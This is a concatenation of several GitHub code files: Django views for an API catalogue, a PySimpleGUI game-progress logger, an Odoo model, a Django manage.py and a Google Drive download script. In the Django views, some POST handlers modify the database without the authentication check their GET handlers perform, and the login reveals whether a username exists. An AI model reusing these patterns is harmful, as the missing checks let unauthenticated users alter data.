response.set_cookie('viewCount_ThisApiForThat', totalViews, max_age=60 * 60 * 24)\r\n\r\n\r\n# section for webpage\r\n# main page\r\nclass MainPageView(View):\r\n def get(self, request):\r\n totalViews = list(collection_MetaData.find({'name': 'Views'}))[0]['value']\r\n data = list(collection_ApiForApi.aggregate([{'$sample': {'size': 1}}]))[0]\r\n response = render(request, 'index.html', {'api': data, 'totalViews': totalViews})\r\n setCookie(response, request, totalViews)\r\n print(\"Hit : \", request.COOKIES.get('viewCount_ThisApiForThat'))\r\n return response\r\n\r\n\r\n# section for api calls\r\nclass RandomDataCall(View):\r\n # returns a random document from the collection_ApiForApi\r\n def get(self, request):\r\n data = list(collection_ApiForApi.aggregate([{'$sample': {'size': 1}}]))[0]\r\n # return the data\r\n return JsonResponse(data, status=201, safe=False)\r\n\r\n\r\nclass TypeDataCall(View):\r\n # accepts the string as a GET parameter type and filters the data and returns all the data of that type\r\n def get(self, request, type):\r\n data = list(collection_ApiForApi.aggregate([{'$match': {'type': type}}]))\r\n return JsonResponse(data, status=201, safe=False)\r\n\r\n\r\nclass AllTypes(View):\r\n # returns all the unique types in data\r\n def get(self, request):\r\n # data = list(collection_ApiForApi.distinct('type'))\r\n data = collection_MetaData.find_one({'name': 'Types'})['value']\r\n return JsonResponse(data, status=201, safe=False)\r\n\r\n\r\nclass CrudPageViewWithId(View):\r\n def get(self, request, id) -> HttpResponse:\r\n print(request.session.items())\r\n if request.session.get('authenticated') is not True:\r\n return redirect('login')\r\n oid = id\r\n data = collection_ApiForApi.find_one({'_id': oid})\r\n return render(request, 'crud.html', context={'data': data, 'id': oid})\r\n\r\n\r\n# section for modifying data for admin\r\nclass CrudPageView(View):\r\n # takes 'id' input from page and returns the data with that id\r\n # here we can modify the data and save it to the database\r\n def get(self, request):\r\n print(request.session.items())\r\n if request.session.get('authenticated') is not True:\r\n return redirect('login')\r\n print(\"already logged in\", request.session.get('authenticated'))\r\n # get the id from the page\r\n oid = 1\r\n if request.GET.get('id') is not None:\r\n oid = int(request.GET.get('id'))\r\n data = collection_ApiForApi.find_one({'_id': oid})\r\n return redirect('crudId', id=oid)\r\n\r\n # post method to save the data\r\n def post(self, request):\r\n # TODO: save the data to the database\r\n # get the next id from the database\r\n oid = collection_ApiForApi.find().sort('_id', -1).limit(1)[0]['_id'] + 1\r\n # get the data from the page\r\n data = request.POST\r\n # save the data to the database according to the ApiModel\r\n ApiModel(oid, data['type'], data['name'], data['description'], data['link'], data['method'], data['parameters'],\r\n data['response'], data['status']).save()\r\n\r\n\r\nclass CrudPageViewWithTypes(View):\r\n def get(self, request):\r\n print(request.session.items())\r\n if request.session.get('authenticated') is not True:\r\n return redirect('login')\r\n # get type from the page\r\n # get the data from the database\r\n data = list(collection_ApiForApi.distinct('type'))\r\n return render(request, 'typeForm.html', {'types': data})\r\n\r\n# update type\r\n def post(self, request):\r\n type = request.POST.get('type')\r\n original_type = request.POST.get('original_type')\r\n # update all the data with the type\r\n collection_ApiForApi.update_many({'type': original_type}, {'$set': {'type': type}})\r\n return redirect('crudTypes')\r\n\r\n\r\n# make the api call for meta data\r\nclass MetaDataCall(View):\r\n def get(self, request):\r\n # get all the data from the database, remove the _id field from each and return the data\r\n data = list(collection_MetaData.find())\r\n for i in range(len(data)):\r\n del data[i]['_id']\r\n return JsonResponse(data, status=201, safe=False)\r\n\r\n\r\nclass CrudPageViewWithMetaData(View):\r\n def get(self, request):\r\n # check if the session is authenticated\r\n # print session values\r\n print(request.session.items(), request.session.get('expired'))\r\n if request.session.get('authenticated') is not True:\r\n return redirect('login')\r\n data = requests.get(baseUrl + '/api/meta/')\r\n # prettyfy the json\r\n data = json.dumps(data.json(), indent=4, sort_keys=True)\r\n return render(request, 'meta.html', {'data': data})\r\n\r\n def post(self, request):\r\n typeData = list(collection_ApiForApi.distinct('type'))\r\n # get total number of types\r\n totalTypes = len(typeData)\r\n # get total number of api\r\n totalApi = collection_ApiForApi.count_documents({})\r\n\r\n # update the data in the database\r\n temp = list(collection_MetaData.find({'name': 'Types'}))\r\n collection_MetaData.update_one({'name': 'Types'}, {'$set': {'value': typeData}})\r\n collection_MetaData.update_one({'name': 'TotalTypes'}, {'$set': {'value': totalTypes}})\r\n collection_MetaData.update_one({'name': 'Count'}, {'$set': {'value': totalApi}})\r\n return redirect('crudMeta')\r\n\r\n\r\nclass CrudPageViewWithAuths(View):\r\n def get(self, request):\r\n print(request.session.items())\r\n if request.session.get('authenticated') is not True:\r\n return redirect('login')\r\n data = list(collection_ApiForApi.distinct('auth'))\r\n return render(request, 'authForm.html', {'auths': data})\r\n\r\n# update type\r\n def post(self, request):\r\n auth = request.POST.get('auth')\r\n original_auth = request.POST.get('original_auth')\r\n # update all the data with the auth\r\n collection_ApiForApi.update_many({'auth': original_auth}, {'$set': {'auth': auth}})\r\n return redirect('crudAuths')\r\n\r\n\r\nclass AboutPageView(View):\r\n def get(self, request):\r\n # get meta data\r\n data = requests.get(baseUrl + '/api/meta/').json()\r\n # form a key, value pair from all the dicts in data list\r\n metaData = {d['name']: d['value'] for d in data}\r\n return render(request, 'about.html', {'data': metaData})\r\n\r\n\r\n# section for login and logout\r\ndef authenticate(username, password):\r\n \"\"\"\r\n Authenticate a user based on username and password.\r\n returns tuple of (True/False, message)\r\n \"\"\"\r\n # get the user password and salt\r\n user = collection_Users.find_one({\"Username\": username})\r\n if user is None:\r\n return False, \"User not found\"\r\n # print(user)\r\n else:\r\n value = util.is_correct_password(user['PasswordSalt'], user['PasswordHash'], password)\r\n if value:\r\n return True, \"User found\"\r\n else:\r\n return False, \"Password incorrect\"\r\n\r\n\r\nclass LoginView(View):\r\n def get(self, request):\r\n return render(request, 'login.html')\r\n\r\n def post(self, request):\r\n username = request.POST.get('username')\r\n passwrd = request.POST.get('password')\r\n Authorized, Message = authenticate(username, passwrd)\r\n if Authorized:\r\n # set the user in the session\r\n request.session['user'] = username\r\n # set the user as authenticated in request\r\n request.session['authenticated'] = True\r\n # set the session expiration time fo r browser close\r\n request.session.set_expiry(0)\r\n return redirect('crudId', id=1)\r\n else:\r\n return render(request, 'login.html', {'message': Message})","repo_name":"Architrixs/ThisApiForThat","sub_path":"ThisApiForThatThing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9447,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"75"} +{"seq_id":"36823734740","text":"import time\nfrom datetime import datetime\nfrom PySimpleGUI import PySimpleGUI as sg\n\ndef inicio(): ### Tela inicial do programa\n layoutInicio = [\n [sg.Image(r'Tela_inicial.png')],\n [sg.Button('Fazer registro',button_color=('White','Red')),sg.Button('Sair',button_color=('White','Red'))]\n ]\n\n windowInicio = sg.Window('LabEHGames - Registro AC: Revelations (Beta 2.0) by João Gabriel', layoutInicio)\n\n while True:\n event, values = windowInicio.read()\n if event == sg.WIN_CLOSED or event == 'Sair':\n windowInicio.close()\n quit()\n if event == 'Fazer registro':\n windowInicio.close()\n break\n \ndef erro(txt): ### Faz aparecer uma tela de erro\n layoutError = [\n [sg.Text(txt)],\n [sg.Button('Ok')],\n ]\n \n windowErro = sg.Window('Erro!', layoutError)\n \n while True:\n event, values = windowErro.read()\n if event == sg.WIN_CLOSED or event == 'Ok':\n windowErro.close()\n break\n \n#Base de dados\nseq_1 = {'Nome':'1 - Uma espécie de regresso a casa (1511)','seq1-1':'1 - O Hangman\\nViaje para Masyaf e fuja dos Templários que chegaram lá antes de você.',\n 'seq1-2':'2 - Uma Fuga Estreita\\nEncontre seu equipamento e continue sua busca pela biblioteca.',\n 'seq1-3':'3 - Um diário de algum tipo\\nDepois de encontrar a entrada da biblioteca, descubra que entrar não será tão fácil.',\n 'seq1-4':'4 - Um passeio difícil\\nTente recuperar o diário de Leandros.',\n 'seq1-5':'5 - A Águia Ferida\\nCure-se e mate Leandros.',\n 'seq1-6':'6 - Ilha do Animus\\nSaiba mais sobre sua estada involuntária no Animus.'}\nkeys_seq_1 = []\nfor i in seq_1:\n keys_seq_1.append(i)\n\nseq_2 = {'Nome':'2 - A Encruzilhada do Mundo (1511)',\n 'seq2-1':'1 - Boas-vindas calorosas\\nChegue em Constantinopla, encontre Yusuf pela primeira vez e aprenda sobre os problemas locais.',\n 'seq2-2':'2 - Atualizar e explorar\\nAtualize seu equipamento.',\n 'seq2-3':'3 - O Hookblade\\nAprenda a usar seu novo Hookblade.',\n 'seq2-4':'4 - A Vista de Galata\\nUse suas novas habilidades para subir ao topo da Torre Galata.',\n 'seq2-5':'5 - Táticas Avançadas\\nColoque suas habilidades em um novo uso enquanto você e Yusuf se preparam para defender antros de assassinos.',\n 'seq2-6':'6 - Na Defesa\\nDefenda o covil de Galata de um ataque dos Templários.',\n 'seq2-7':'7 - No Ataque\\nSaiba mais sobre as bombas dos assassinos e recupere um covil que foi tomado pelos Templários.'}\nkeys_seq_2 = []\nfor i in seq_2:\n keys_seq_2.append(i)\n\nseq_3 = {'Nome':'3 - Achados e Perdidos (1511)',\n 'seq3-1':'1 - O Prisioneiro\\nLiberte o homem que foi preso por roubar comida.',\n 'seq3-2':'2 - O Sentinela, Parte 1\\nConverse com seu Aprendiz e saiba mais sobre o Sentinela.',\n 'seq3-3':'3 - Contratos de Guilda\\nEnvie seu Aprendiz em uma missão contratada.',\n 'seq3-4':'4 - Fabricação de bombas\\nAprenda a fabricar explosivos',\n 'seq3-5':'5 - Um rosto familiar\\nEncontre a porta escondida na livraria de Sofia.',\n 'seq3-6':'6 - A Cisterna de Yerebatan\\nInvestigue a cisterna subterrânea e procure sua primeira Chave Masyaf.',\n 'seq3-7':'7 - Quid Pro Quo\\nVolte para a livraria e mostre a Sofia o que você encontrou.',\n 'seq3-8':'8 - O Guardião do Mentor\\nLute até a fortaleza Masyaf e salve Al Mualim.',\n 'seq3-9':'9 - Maldição do Romani\\nEnvenene os Templários Bizantinos e recupere o baú roubado.',\n 'seq3-10':'10 - O Sentinela, Parte 2\\nLide com o traidor.'}\nkeys_seq_3 = []\nfor i in seq_3:\n keys_seq_3.append(i)\n\nseq_4 = {'Nome':'4 - A Guerra Incivil (1511)',\n 'seq4-1':'1 - Banquete do Príncipe\\nProteja os otomanos e ganhe sua confiança.',\n 'seq4-2':'2 - Uma reunião desconfortável\\nEscute a conversa de Suleiman com Tarik Barleti.',\n 'seq4-3':'3 - A Quarta Parte do Mundo\\nA entrega de Sofia está envolvida na burocracia. Recupere para ela ..',\n 'seq4-4':'4 - Sinais e Símbolos, Parte I\\nVá até a Hagia Sophia e procure o livro que Niccolò Polo deixou para trás',\n 'seq4-5':'5 - Torre Galata\\nEstacione seu caminho pela Torre Galata e localize outra chave Masyaf.',\n 'seq4-6':'6 - O Despertar do Mentor\\nQueime o corpo de Al Mualim e recupere a Maçã de Abbas.'}\nkeys_seq_4 = []\nfor i in seq_4:\n keys_seq_4.append(i)\n\nseq_5 = {'Nome':'5 - Herdeiro do Império (1511)',\n 'seq5-1':'1 - Os janízaros\\nSiga o capitão dos Janízaros e tente descobrir seus segredos relacionados aos Templários.',\n 'seq5-2':'2 - Os portões do Arsenal\\nIncite um motim para distrair os guardas e obter acesso ao Arsenal.',\n 'seq5-3':'3 - Infiltração de arsenal\\nDescubra o propósito da visita de Manuel.',\n 'seq5-4':'4 - Retrato de uma senhora\\nRecupere a pintura de Sofia.',\n 'seq5-5':'5 - Sinais e Símbolos, Parte II\\nProcure os símbolos do Polo perto do Aqueduto de Valens e localize o livro escondido.',\n 'seq5-6':'6 - O Fórum do Boi\\nRecupere a terceira Chave Masyaf no Fórum do Boi.',\n 'seq5-7':'7 - Um Novo Regime\\nEnfrente Abbas, depois de saber da morte de seu filho mais novo.'}\nkeys_seq_5 = []\nfor i in seq_5:\n keys_seq_5.append(i)\n\nseq_6 = {'Nome':'6 - Desfavor da fortuna (1511)',\n 'seq6-1':'1 - Nas Sombras\\nAdquira um disfarce de Janízaro para se aproximar de Tarik.',\n 'seq6-2':'2 - Honra, Perdido e Ganhado\\nSiga os janízaros e descubra a localização das armas de Manuel.',\n 'seq6-3':'3 - Portador de Notícias Mistas\\nViaje ao Palácio de Topkapi para falar com Suleiman, informando-o da inocência de Tarik.',\n 'seq6-4':'4 - Um pequeno recado\\nFaça uma tarefa para Sofia enquanto ela localiza o último livro de Polo.',\n 'seq6-5':'5 - Sinais e Símbolos, Parte III\\nProcure os símbolos do Polo perto da Pequena Hagia Sophia.',\n 'seq6-6':'6 - Torre da Donzela\\nRecupere a Chave Masyaf escondida embaixo da torre.',\n 'seq6-7':'7 - O retorno do mentor\\nReúna aliados em Masyaf e elimine Abbas.',\n 'seq6-8':'8 - Partindo da vela\\nFuja dos janízaros e saia da cidade, em busca de Manuel.',}\nkeys_seq_6 = []\nfor i in seq_6:\n keys_seq_6.append(i)\n\nseq_7 = {'Nome':'7 - O Submundo',\n 'seq7-1':'1 - A cidade oculta\\nLocalize os espiões otomanos desaparecidos e trabalhe com eles para encontrar os Templários.',\n 'seq7-2':'2 - O espião que me evitou\\nEncontre e resgate Dilara antes que seja tarde demais.',\n 'seq7-3':'3 - O Renegado\\nMate Shakhulu antes que mais prisioneiros morram.',\n 'seq7-4':'4 - Descomissionado\\nInfiltre-se no depósito de armas e destrua a pólvora.',\n 'seq7-5':'5 - Último dos Palaiologi\\nAproveite a oportunidade para matar Manuel e recuperar a chave Masyaf final.',\n 'seq7-6':'6 - Fuja em\\ndireção a Constantinopla, após os Templários ameaçarem matar Sofia.',\n 'seq7-7':'7 - Passando a Tocha\\nEscolte os irmãos Polo com segurança para fora da vila Masyaf.'}\nkeys_seq_7 = []\nfor i in seq_7:\n keys_seq_7.append(i)\n\nseq_8 = {'Nome':'8 - The End of an Era (1511)',\n 'seq8-1':'1 - Descoberta\\nO Príncipe Ahmet ameaçou fazer mal a Sofia. Encontre e proteja-a.',\n 'seq8-2':'2 - A Troca\\nColete as Chaves Masyaf e entregue-as a Ahmet para salvar Sofia.',\n 'seq8-3':'3 - Fim da Estrada\\nPegue Ahmet antes que ele escape com as Chaves Masyaf.'}\nkeys_seq_8 = []\nfor i in seq_8:\n keys_seq_8.append(i)\n\nseq_9 = {'Nome':'9 - Revelações (1511)',\n 'seq9-1':'1 - Um regresso a casa\\nUse as Chaves Masyaf para abrir a biblioteca de Altaïr.',\n 'seq9-2':'2 - Legado perdido\\nAltair esvaziou o castelo Masyaf e despachou seus Assassinos pelo mundo. Agora ele tem apenas mais uma tarefa ....',\n 'seq9-3':'3 - A Mensagem\\nLocalize a Maçã do Éden de Altaïr e aprenda sobre \"a revelação\".'}\nkeys_seq_9 = []\nfor i in seq_9:\n keys_seq_9.append(i)\n\nseq_list = seq_1['Nome'], seq_2['Nome'], seq_3['Nome'], seq_4['Nome'], seq_5['Nome'], seq_6['Nome'], seq_7['Nome'], seq_8['Nome'], seq_9['Nome']\n\n\n# TEMA DA JANELA\nsg.theme('DarkAmber')\n\n# Janela de inicio\ninicio()\n\n#Layouts # sg.Checkbox('',key='seq',size=(25,1))\nlayout_seq1 = [\n [sg.Checkbox('1 - O Hangman',key='seq1-1',size=(25,1)),sg.Checkbox('2 - Uma Fuga Estreita',key='seq1-2',size=(25,1)),sg.Checkbox('3 - Um diário de algum tipo',key='seq1-3',size=(25,1))],\n [sg.Checkbox('4 - Um passeio difícil',key='seq1-4',size=(25,1)),sg.Checkbox('5 - A Águia Ferida',key='seq1-5',size=(25,1)),sg.Checkbox('6 - Ilha do Animus',key='seq1-6',size=(25,1))]\n ]\n\nlayout_seq2 = [\n [sg.Checkbox('1 - Boas-vindas calorosas',key='seq2-1',size=(25,1)),sg.Checkbox('2 - Atualizar e explorar',key='seq2-2',size=(25,1)),sg.Checkbox('3 - O Hookblade',key='seq2-3',size=(25,1))],\n [sg.Checkbox('4 - A Vista de Galata',key='seq2-4',size=(25,1)),sg.Checkbox('5 - Táticas Avançadas',key='seq2-5',size=(25,1)),sg.Checkbox('6 - Na Defesa',key='seq2-6',size=(25,1))],\n [sg.Checkbox('7 - No Ataque',key='seq2-7',size=(25,1))]\n ]\n\nlayout_seq3 = [\n [sg.Checkbox('1 - O Prisioneiro',key='seq3-1',size=(25,1)),sg.Checkbox('2 - O Sentinela, Parte 1',key='seq3-2',size=(25,1)),sg.Checkbox('3 - Contratos de Guilda',key='seq3-3',size=(25,1))],\n [sg.Checkbox('4 - Fabricação de bombas',key='seq3-4',size=(25,1)),sg.Checkbox('5 - Um rosto familiar',key='seq3-5',size=(25,1)),sg.Checkbox('6 - A Cisterna de Yerebatan',key='seq3-6',size=(25,1))],\n [sg.Checkbox('7 - Quid Pro Quo',key='seq3-7',size=(25,1)),sg.Checkbox('8 - O Guardião do Mentor',key='seq3-8',size=(25,1)),sg.Checkbox('9 - Maldição do Romani',key='seq3-9',size=(25,1))],\n [sg.Checkbox('10 - O Sentinela, Parte 2',key='seq3-10',size=(25,1))]\n ]\n\nlayout_seq4 = [\n [sg.Checkbox('1 - Banquete do Príncipe',key='seq4-1',size=(25,1)),sg.Checkbox('2 - Uma reunião desconfortável',key='seq4-2',size=(25,1)),sg.Checkbox('3 - A Quarta Parte do Mundo',key='seq4-3',size=(25,1))],\n [sg.Checkbox('4 - Sinais e Símbolos, Parte I',key='seq4-4',size=(25,1)),sg.Checkbox('5 - Torre Galata',key='seq4-5',size=(25,1)),sg.Checkbox('6 - O Despertar do Mentor',key='seq4-6',size=(25,1))]\n ]\n\nlayout_seq5 = [\n [sg.Checkbox('1 - Os janízaros',key='seq5-1',size=(25,1)),sg.Checkbox('2 - Os portões do Arsenal',key='seq5-2',size=(25,1)),sg.Checkbox('3 - Infiltração de arsenal',key='seq5-3',size=(25,1))],\n [sg.Checkbox('4 - Retrato de uma senhora',key='seq5-4',size=(25,1)),sg.Checkbox('5 - Sinais e Símbolos, Parte II',key='seq5-5',size=(25,1)),sg.Checkbox('6 - O Fórum do Boi',key='seq5-6',size=(25,1))],\n [sg.Checkbox('7 - Um Novo Regime',key='seq5-7',size=(25,1))]\n ]\n\nlayout_seq6 = [\n [sg.Checkbox('1 - Nas Sombras',key='seq6-1',size=(25,1)),sg.Checkbox('2 - Honra, Perdido e Ganhado',key='seq6-2',size=(25,1)),sg.Checkbox('3 - Portador de Notícias Mistas',key='seq6-3',size=(25,1))],\n [sg.Checkbox('4 - Um pequeno recado',key='seq6-4',size=(25,1)),sg.Checkbox('5 - Sinais e Símbolos, Parte III',key='seq6-5',size=(25,1)),sg.Checkbox('6 - Torre da Donzela',key='seq6-6',size=(25,1))],\n [sg.Checkbox('7 - O retorno do mentor',key='seq6-7',size=(25,1)),sg.Checkbox('8 - Partindo da vela',key='seq6-8',size=(25,1))]\n ]\n\nlayout_seq7 = [\n [sg.Checkbox('1 - A cidade oculta',key='seq7-1',size=(25,1)),sg.Checkbox('2 - O espião que me evitou',key='seq7-2',size=(25,1)),sg.Checkbox('3 - O Renegado',key='seq7-3',size=(25,1))],\n [sg.Checkbox('4 - Descomissionado',key='seq7-4',size=(25,1)),sg.Checkbox('5 - Último dos Palaiologi',key='seq7-5',size=(25,1)),sg.Checkbox('6 - Fuja em',key='seq7-6',size=(25,1))],\n [sg.Checkbox('7 - Passando a Tocha',key='seq7-7',size=(25,1))]\n ]\n\nlayout_seq8 = [\n [sg.Checkbox('1 - Descoberta',key='seq8-1',size=(25,1)),sg.Checkbox('2 - A Troca',key='seq8-2',size=(25,1)),sg.Checkbox('3 - Fim da Estrada',key='seq8-3',size=(25,1))]\n ]\n\nlayout_seq9 = [\n [sg.Checkbox('1 - Um regresso a casa',key='seq9-1',size=(25,1)),sg.Checkbox('2 - Legado perdido',key='seq9-2',size=(25,1)),sg.Checkbox('3 - A Mensagem',key='seq9-3',size=(25,1))]\n ]\n\nlayout1 = [ [sg.Text(45*' '),sg.Text(\"Registro de atividade Assasin's Creed: Revelations\\n\")],\n [sg.Text(35*' '),sg.Text('Preencha os campos abaixo e confirme para gerar o registro em .TXT\\n')],\n [sg.Text('Início da jogatina (HH:MM)'), sg.InputText(size=(5,1),key='hora1'), sg.Text('Fim da jogatina (HH:MM)'), sg.InputText(size=(5,1),key='hora2')],\n [sg.Text('')],\n [sg.Text('Qual sequência foi feita?')],\n [sg.InputCombo(('1 - Uma espécie de regresso a casa (1511)','2 - A Encruzilhada do Mundo (1511)','3 - Achados e Perdidos (1511)','4 - A Guerra Incivil (1511)',\n '5 - Herdeiro do Império (1511)','6 - Desfavor da fortuna (1511)','7 - O Submundo','8 - The End of an Era (1511)', '9 - Revelações (1511)'),\n size=(35, 1),key='Sequencia')],\n [sg.Text('Quais memórias foram feitas?')],\n [sg.TabGroup([[sg.Tab('1',layout_seq1),sg.Tab('2',layout_seq2),sg.Tab('3',layout_seq3),sg.Tab('4',layout_seq4),sg.Tab('5',layout_seq5),\n sg.Tab('6',layout_seq6),sg.Tab('7',layout_seq7),sg.Tab('8',layout_seq8),sg.Tab('9',layout_seq9)]])],\n [sg.Text('Quais foram os avanços?\\n(Progressos in game, Mecanicas, Database, Itens...)')],\n [sg.InputText(size=(100,40),key='avancos')],\n [sg.Text('Qual foi a progressão da narrativa?\\n(Progressões na Narrativa historica do jogo)')],\n [sg.InputText(size=(100,40),key='narra')],\n [sg.Text('Apontamentos:\\n(Referencias históricas e outras Observações)')],\n [sg.InputText(size=(100,40),key='points')],\n [sg.Text('')],\n [sg.Button('Confirmar dados')]\n ]\n\nlayout2 = [ [sg.Text('Dados confirmados!')],\n [sg.Text('Arquivo Txt gerado')],\n [sg.Button('Fechar')]\n ]\n\n\n\n# Janela principal\nwindow = sg.Window('LabEHGames - Registro AC: Revelations (Beta 2.0) by João Gabriel', layout1)\n\nwhile True:\n event, values = window.read()\n \n if event == sg.WIN_CLOSED:\n window.close()\n quit()\n \n if event == 'Confirmar dados':\n \n hora1 = values['hora1']\n if hora1 == '':\n erro('Campo do início da jogatina vazio!')\n continue\n if len(hora1) != 5 or hora1[2] != ':':\n erro('Entrada inválida!')\n continue\n check_hora = hora1.split(':')\n if check_hora[0].isnumeric() == False or check_hora[1].isnumeric() == False:\n erro('Entrada inválida!')\n continue\n elif int(check_hora[0]) > 23 or int(check_hora[0]) < 0:\n erro('Hora inválida!')\n continue\n elif int(check_hora[1]) > 59 or int(check_hora[1]) < 0:\n erro('Minutos inválidos!')\n continue\n \n hora2 = values['hora2']\n if hora2 == '':\n erro('Campo do fim da jogatina vazio!')\n continue\n if len(hora2) != 5 or hora1[2] != ':':\n erro('Entrada inválida!')\n continue\n check_hora = hora2.split(':')\n if check_hora[0].isnumeric() == False or check_hora[1].isnumeric() == False:\n erro('Entrada inválida!')\n continue\n elif int(check_hora[0]) > 23 or int(check_hora[0]) < 0:\n erro('Hora inválida!')\n continue\n elif int(check_hora[1]) > 59 or int(check_hora[1]) < 0:\n erro('Minutos inválidos!')\n continue\n \n horas_jogadas = hora1 + ' - ' + hora2\n\n data_hora = datetime.now()\n data_hora = data_hora.strftime('%d/%m/%Y %H:%M')\n\n if values['Sequencia'] == '':\n erro('Sequência não selecionada!')\n continue\n sequencia = values['Sequencia']\n\n memorias = ''\n for n in keys_seq_1: #1 ---------------\n if n == keys_seq_1[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_1[n] + '\\n'\n for n in keys_seq_2: #2 ---------------\n if n == keys_seq_2[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_2[n] + '\\n'\n for n in keys_seq_3: #3 ---------------\n if n == keys_seq_3[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_3[n] + '\\n'\n for n in keys_seq_4: #4 ---------------\n if n == keys_seq_4[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_4[n] + '\\n'\n for n in keys_seq_5: #5 ---------------\n if n == keys_seq_5[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_5[n] + '\\n'\n for n in keys_seq_6: #6 ---------------\n if n == keys_seq_6[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_6[n] + '\\n'\n for n in keys_seq_7: #7 ---------------\n if n == keys_seq_7[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_7[n] + '\\n'\n for n in keys_seq_8: #8 ---------------\n if n == keys_seq_8[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_8[n] + '\\n'\n for n in keys_seq_9: #9 ---------------\n if n == keys_seq_9[0]:\n continue\n elif values[n] == True:\n memorias = memorias + seq_9[n] + '\\n'\n \n avancos = values['avancos']\n if avancos == '':\n erro('Campo de avanços em branco!')\n continue\n \n narra = values['narra']\n if narra == '':\n erro('Campo de narrativa em branco!')\n continue\n \n points = values['points']\n if points == '':\n erro('Campo de apontamentos em branco!')\n continue\n \n break\n\nwindow.close()\n\n# Janela secundária\nwindow2 = sg.Window('LabEHGames - Confirmado!', layout2)\n\nfinal = 'Assassins Creed: Revelations\\n\\n' + 'Data: ' + data_hora + '\\n' + 'Horas jogadas: ' + horas_jogadas + '\\n\\n' + 'Sequencia ' + sequencia + '\\n\\n' + 'Memorias feitas:\\n' + memorias + '\\n' + 'Avanços:\\n' + avancos + '\\n\\n' + 'Narrativa:\\n' + narra + '\\n\\n' + 'Apontamentos:\\n' + points + '\\n\\n '\nwith open('Realatório.txt','w') as regdados:\n regdados.write(str(final))\n\nwhile True:\n event, values = window2.read()\n if event == sg.WIN_CLOSED or event == 'Fechar': # if user closes window or clicks cancel\n window2.close()\n quit()\n","repo_name":"JFooley/Progress-reg-ACRevelations","sub_path":"Registrador - AC Revelations (Beta 2.0).py","file_name":"Registrador - AC Revelations (Beta 2.0).py","file_ext":"py","file_size_in_byte":19046,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22923719191","text":"from odoo import models, fields, api, _\nfrom datetime import timedelta\nfrom dateutil.relativedelta import relativedelta\n\nclass PurchaseOrderLine(models.Model):\n _inherit = 'purchase.order.line'\n\n month_sale_qty = fields.Float('Last Monthly Sale', store=True, compute='_compute_month_sale_qty')\n\n @api.one\n @api.depends('product_id')\n def _compute_month_sale_qty(self):\n if self.product_id:\n date_from = fields.Date.to_string(fields.datetime.now() - relativedelta(months=1))\n print(\"DATE from\", date_from)\n for line in self:\n query = \"\"\" SELECT sum(l.qty_delivered) as total FROM sale_report l\n WHERE l.product_id is not null AND l.product_id='\"\"\"+str(self.product_id.id)+\"\"\"'\n AND l.confirmation_date >='\"\"\"+str(date_from)+\"\"\"';\"\"\"\n self.env.cr.execute(query)\n result = self.env.cr.dictfetchall()\n for value in result:\n line.month_sale_qty = value['total']\n","repo_name":"solbutec/kmart","sub_path":"stk_purchase_sale_qty/models/purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5738285737","text":"#!/usr/bin/env python\n\"\"\"Django's command-line utility for administrative tasks.\"\"\"\nimport os\nimport sys\nimport time\n\nfrom django.db import connections\nfrom psycopg2 import OperationalError\n\n\ndef main():\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mars.settings.development\")\n\n # if not \"--help\" in sys.argv:\n # ensure_db_connection()\n\n try:\n from django.core.management import execute_from_command_line\n except ImportError as exc:\n raise ImportError(\n \"Couldn't import Django. Are you sure it's installed and \"\n \"available on your PYTHONPATH environment variable? Did you \"\n \"forget to activate a virtual environment?\"\n ) from exc\n\n execute_from_command_line(sys.argv)\n\n\ndef ensure_db_connection():\n conn = connections[\"default\"]\n print(\"Connecting to db 📶\")\n for t in range(1, 10):\n try:\n conn.connect()\n if conn is not None:\n print(\"Connected 👌\")\n break\n else:\n time.sleep(t)\n except OperationalError:\n print(f\"[{t}/10] 🔁\")\n finally:\n time.sleep(t)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"RokasBagdonas/terra-mars-api","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"6729201033","text":"#!/usr/bin/python\nimport sys\nimport os\nfrom datetime import datetime\n\nfrom gdrive_lib.drive.drive import Drive\n\ndef download_all_files_in_directory(remote_dir, download_dir):\n \"\"\"Downloads all files in the Google Drive directory at [remote_dir] (not recursively)\n into the [download_dir] on the local machine.\"\"\"\n\n drive = Drive(\"https://www.googleapis.com/auth/drive.readonly\")\n files = drive.ls(remote_dir)\n for file in files:\n if not file.is_dir:\n local_path = os.path.join(download_dir, file.name)\n\n do_download = True\n if args.only_new and os.path.isfile(local_path):\n mod_time = datetime.fromtimestamp(os.path.getmtime(local_path))\n if mod_time > file.modified_time:\n print(\"Skipping %s, because the local file is newer.\" % (file.name))\n do_download = False\n\n if do_download:\n print(\"Downloading %s\" % (file.name))\n drive.download(file.path, local_path)\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"REMOTE_DIR\", type=str)\n parser.add_argument(\"LOCAL_DIR\", type=str)\n parser.add_argument(\"--only_new\", action='store_true')\n parser.add_argument(\"--noauth_local_webserver\", action='store_true')\n args = parser.parse_args()\n\n download_all_files_in_directory(args.REMOTE_DIR, args.LOCAL_DIR)\n","repo_name":"torpedro/gdrive-lib","sub_path":"examples/download_all_files_in_directory.py","file_name":"download_all_files_in_directory.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32391042452","text":"#! /usr/bin/env python\r\n\r\n\"\"\"\r\nCreated on Thu Oct 29 22:19:43 2020\r\n\r\n@author: Maxence et Marc?\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndata = 